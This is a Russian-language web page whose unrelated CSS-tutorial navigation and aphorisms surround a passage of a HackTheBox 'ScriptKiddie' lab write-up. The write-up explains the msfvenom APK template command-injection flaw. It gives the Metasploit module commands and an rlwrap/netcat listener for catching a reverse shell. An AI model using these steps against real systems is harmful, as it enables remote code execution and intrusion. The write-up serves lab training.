Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
    
    
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
    
Дочерние селекторы
    
Селекторы атрибутов
 
Универсальный селектор
    
Псевдоклассы
  
Псевдоэлементы
    
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
    
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
   
Списки
                                          
Ссылки
                                          
Дизайны сайтов
    
Формы
  
Таблицы
    
CSS3
                                         
HTML5
                                       
									Блог для вебмастеров
									Новости мира Интернет
                                    Сайтостроение
    
									Ремонт и советы
	
                                    Все новости
                                        
									
                                    Справочник от А до Я
    
									HTML, CSS, JavaScript
									
									
									Афоризмы о учёбе
									Статьи об афоризмах
									Все Афоризмы
									
									
| Помогли мы вам | 
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
IP машины — 10.10.10.226, добавляем его в /:
10.10.10.226 scriptkiddie.htb
И сканируем порты моим традиционным скриптом:
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1Открытых порта два: 22 (служба SSH) и 5000 (Werkzeug). Паролей у нас нет, поэтому на SSH пока что делать нечего. Будем «пробивать» порт 5000, где нас встречает страница с обещающим заголовком k1d'5 h4ck3r t00l5. Уже интересно!
Страница поделена на области, в каждой из которых есть поля для ввода. Первое поле принимает IP-адрес для сканирования 100 портов с помощью Nmap, вторая область служит для генерирования нагрузки Meterpreter с помощью MSFvenom и требует указать операционную систему атакуемого хоста и IP хоста для отстука, при этом есть возможность использовать файл шаблона. В последней области просто выполняется поиск эксплоитов с помощью утилиты searchsploit.
Здесь уже стоит подумать о том, как получить RCE. Есть два пути:
Так как тестирование второго варианта займет меньше времени, сразу начнем с него. Загрузка файлов .php и тому подобных результатов не дала, поэтому перейдем к загрузке более легитимных файлов — .apk. На сервере используется Metasploit Framework, и в нем, что неудивительно, тоже существуют уязвимости. Куда забавнее тот факт, что для MSF есть модули, которые сами эти уязвимости и эксплуатируют.
Для многих типов нагрузок, которые предоставляет msfvenom, он позволяет пользователю указать шаблон (опция -x). Даже если ты такую опцию не используешь, msfvenom все равно будет применять свой шаблон. Но в модуле, который генерирует нагрузку с использованием шаблона файла APK, есть уязвимость, связанная с внедрением команд. MSF генерирует нагрузку следующим образом:
parse_orig_cert_data (исходный код) используется keytool для извлечения поля Owner из подписи APK, а также метки времени.backdoor_apk используется keytool для генерирования нового ключа подписи и самозаверяющегося сертификата на основе сведений, извлеченных из файла APK (исходный код).backdoor_apk происходит декомпиляция APK-файла, применяется синтаксический анализатор XML для анализа файла манифеста, внедрение полезной нагрузки, пересборка APK, применяется jarsigner для подписи файла APK.Уязвимость заключается в использовании утилиты keytool на втором шаге, так как происходит выполнение через командную строку.
keytool -genkey -v -keystore #{keystore} -alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA -keysize 2048 -startdate '#{orig_cert_startdate}' -validity #{orig_cert_validity} -dname '#{orig_cert_dname}'При этом значение orig_cert_dname было получено на этапе 1, при анализе исходного APK и извлечении поля Owner из подписи APK. Эта команда передается в функцию Open3., которая, если используется всего один параметр, работает, как и функция system(. Это дает возможность инжектить команды ОС, если поле Owner из подписи APK будет содержать одинарную кавычку и далее конвейер команд командной строки, завершающийся символом комментария (#).
Metasploit Framework позволяет нам создать шаблон APK с уже встроенным бэкдором. Для этого используем модуль metasploit_msfvenom_apk_template_cmd_injection, а в качестве параметров нужно указать лишь локальные адрес хоста и порт.
msfconsole
use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
set LHOST [ip]
set LPORT [port]
run
Так как мы будем выполнять бэкконнект, то сначала необходимо создать листенер, который будет принимать соединение. Я буду использовать rlwrap и netcat.
apt install rlwrap
rlwrap nc -lvp [port]
А теперь загружаем сгенерированный файл и получаем бэкконнект.
|  |  | 


